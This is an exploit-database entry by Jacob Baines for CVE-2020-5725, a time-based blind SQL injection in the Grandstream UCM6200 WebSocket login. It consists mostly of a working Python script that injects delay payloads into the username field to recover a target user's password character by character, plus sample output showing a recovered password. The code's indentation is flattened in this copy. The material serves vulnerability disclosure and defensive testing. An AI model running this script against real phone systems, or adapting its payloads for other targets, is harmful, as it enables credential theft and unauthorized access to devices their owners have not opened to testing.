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Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection

Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection
Posted Mar 31, 2020
Authored by Jacob Baines

Grandstream UCM6200 Series WebSocket versions 1.0.20.20 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-5725
SHA-256 | dbde0cbce4402b656e10575e77f62e63150d1c5371532197da758fe2d6e3a6a0

Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection

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# Exploit Title: Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection
# Date: 2020-03-30
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.grandstream.com/
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware
# Version: 1.0.20.20 and below
# Tested on: Grandstream UCM6202 1.0.20.20
# CVE : CVE-2020-5725
# Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection Password Disclosure via Login (time based)
# Advisory: https://www.tenable.com/security/research/tra-2020-17
# Sample output:
#
# albinolobster@ubuntu:~$ python3 websockify_login_injection.py --rhost 192.168.2.1 --user lolwat
# [+] Password length is 9
# [+] Discovering password...
# LabPass1%
# [+] Done! The password is LabPass1%

import sys
import ssl
import time
import asyncio
import argparse
import websockets

async def password_guess(ip, port, username):

# the path to exploit
uri = 'wss://' + ip + ':' + str(8089) + '/websockify'

# no ssl verification
ssl_context = ssl.SSLContext()
ssl_context.verify_mode = ssl.CERT_NONE
ssl_context.check_hostname = False

# determine the length of the password. The timeout is 10 seconds...
probably
# way too long but whatever.
length = 0
while length < 100:
async with websockets.connect(uri, ssl=ssl_context) as websocket:
start = time.time()
login =
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'
+ username + '\' AND LENGTH(user_password)==' + str(length) + ' AND
88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or
\'1\'=\'2","token":"lolwat"}}'
await websocket.send(login)
response = await websocket.recv()

if (time.time() - start) < 5:
length = length + 1
continue
else:
break

# if we hit max password length than we've done something wrong
if (length == 100):
print('[+] Couldn\'t determine the passwords length.')
sys.exit(1)

print('[+] Password length is', length)
print('[+] Discovering password...')

# Now that we know the password length, just guess each password byte
until
# we've reached the full length. Again timeout set to 10 seconds.
password = ''
while len(password) < length:
value = 0x20
while value < 0x80:
if value == 0x22 or value == 0x5c:
temp_pass = password + '\\'
temp_pass = temp_pass + chr(value)
else:
temp_pass = password + chr(value)

temp_pass_len = len(temp_pass)

start = time.time()

async with websockets.connect(uri, ssl=ssl_context) as
websocket:
challenge =
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'
+ username + '\' AND user_password LIKE \'' + temp_pass +'%\' AND
substr(user_password,1,' + str(temp_pass_len) + ') = \'' + temp_pass + '\'
AND 88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or
\'1\'=\'2","token":"lolwat"}}'
await websocket.send(challenge)
response = await websocket.recv()

if (time.time() - start) < 5:
value = value + 1
continue
else:
print('\r' + temp_pass, end='')
password = temp_pass
break

if value == 0x80:
print('')
print('[-] Failed to determine the password.')
sys.exit(1)

print('')
print('[+] Done! The password is', password)

top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8089)
top_parser.add_argument('--user', action="store", dest="user",
required=True, help="The user to brute force")
args = top_parser.parse_args()

asyncio.get_event_loop().run_until_complete(password_guess(args.rhost,
args.rport, args.user))
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